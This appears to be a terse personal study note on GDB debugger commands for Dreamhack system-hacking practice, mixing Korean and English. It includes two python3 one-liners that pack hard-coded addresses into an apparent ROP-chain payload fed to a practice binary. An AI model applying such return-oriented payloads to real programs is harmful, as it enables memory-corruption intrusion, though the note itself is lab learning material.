pprintvariable symbol
bbreakmain
rrun처음부터
ccontinue이어서
xexamine메모리 임의 값 관찰iinstructionsstringxhexddecimaluunsignedt2진수f부동소수점
iinfo
info proc mappings info registers info registers rax
sistep into함수 내부로 진입
ninext instruction함수 내부로 진입 X
finish함수의 끝까지 실행
kkill
pdpdisas
b *0x401270 b *0x4012a0 b *0x4012b0 b *0x401346 break *0x401521 run 16 run <<< $(python3 -c 'from struct import pack; p = pack("<Q", 0x000000) + pack("<Q", 0x401643) + pack("<Q", 0x402004) + pack("<Q", 0x4012c0) + pack("<Q", 0x4012b0) + pack("<Q", 0x401346); print(p.decode("latin-1"))')
run <<< $(python3 -c 'from struct import pack; p = pack("<Q", 0x000000) + pack("<Q", 0x401623) + pack("<Q", 0x402004) + pack("<Q", 0x401270) + pack("<Q", 0x4012a0) + pack("<Q", 0x401326); print(p.decode("latin-1"))')
System Hacking 배경 지식 정리
GDB GDB 명령어 정리 b: break c: continue (이어서) r: run (처음부터) r $(python3 -c "print('AA'*10)") : 인자와 함께 프로그램 실행 r $(echo '11') <<< $(python3 -c "print('AA'*
https://velog.io/@hunjison/Dreamhack-System-Hacking-공부-정리


Seonglae Cho